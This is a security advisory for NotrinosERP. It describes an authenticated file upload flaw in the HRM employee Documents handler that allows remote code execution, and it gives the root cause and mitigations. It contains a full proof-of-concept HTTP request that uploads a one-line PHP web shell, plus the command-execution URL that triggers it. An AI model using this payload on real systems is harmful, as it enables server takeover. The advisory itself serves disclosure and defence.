high · 8.8Jul 10, 2026

NotrinosERP: Authenticated Arbitrary File Upload to Remote Code Execution via HRM Employee Documents

Rohit Hatagale
AI Security Researcher, SecureLayer7

Any authenticated HRM operator can upload a PHP web shell through the employee Documents tab, which stores the file with its original extension inside the web root, letting the attacker execute…

Packagenotrinos/notrinos-erp
Ecosystemcomposer
Affected<= 1.0.0

The problem

The document upload handler in hrm/manage/employees.php (tab_documents()) writes the uploaded file to company/0/documents/employees/ using the raw client-supplied filename, extension and all. There is no extension allowlist, no MIME check, no content inspection, and no size cap on this code path.

Because company_path() resolves inside the web root and the repo-level .htaccess does not block .php files in that subdirectory, a stored .php file is directly web-reachable and executes as PHP. The stored path is also echoed unescaped into a "View" link, handing the attacker the exact URL of their shell and creating a secondary stored-XSS sink (CWE-79).

A ../-prefixed filename additionally enables path traversal (CWE-22) on PHP builds that do not basename $_FILES['name'].

Proof of concept

A working proof-of-concept for this issue in notrinos/notrinos-erp, with the exact payload below.

http
# Step 1: GET the Documents form for an employee to retrieve the CSRF token (_token).
# Step 2: POST the shell upload.

POST /hrm/manage/employees.php?employee_no=1&_tabs_sel=tab_documents HTTP/1.1
Host: <target>
Cookie: <authenticated-session-cookie>
Content-Type: multipart/form-data; boundary=b

--b
Content-Disposition: form-data; name="_token"

<csrf_token_from_get_response>
--b
Content-Disposition: form-data; name="doc_type_id"

<valid_document_type_id>
--b
Content-Disposition: form-data; name="doc_name"

x
--b
Content-Disposition: form-data; name="doc_file"; filename="shell.php"
Content-Type: application/x-php

<?php system($_GET['c']); ?>
--b
Content-Disposition: form-data; name="save_document"

Save Document
--b--

# Step 3: Execute commands via the "View" link shown in the Documents tab.
# GET /company/0/documents/employees/1_<unix_ts>_shell.php?c=id HTTP/1.1

The root cause is CWE-434: the handler calls move_uploaded_file($_FILES['doc_file']['tmp_name'], $upload_dir.'/'.$employee_id.'_'.time().'_'.$_FILES['doc_file']['name']) with zero validation. The client controls the final filename and extension entirely.

Contrast this with the profile-photo (pic) branch in the same file, which validates image type, extension, and size, and with includes/ui/attachment.inc, which deliberately uses uniqid() to generate an extension-less name with an inline comment warning that client filenames must never be trusted.

The document handler simply never adopted that safe pattern.

Because the destination directory sits under the web root and no server config denies PHP execution there, the stored file is immediately executable via a direct HTTP GET.

The fix

Update to the patched dev-main branch (post-advisory). Until a tagged release is available, apply all of the following mitigations: (1) replace client-supplied filenames with a server-generated uniqid() name and no executable extension, storing the original name only in the database; (2) enforce an extension allowlist and MIME check identical to the pic branch; (3) move the upload directory outside the web root, or add an .htaccess inside company/*/documents/ containing php_admin_flag engine off and RemoveHandler .php to prevent script execution; (4) wrap the stored path in htmlspecialchars() before emitting the View link to close the secondary XSS.

Reported by Kasper Hong (Kasper Builds).

References: [1][2]

Related research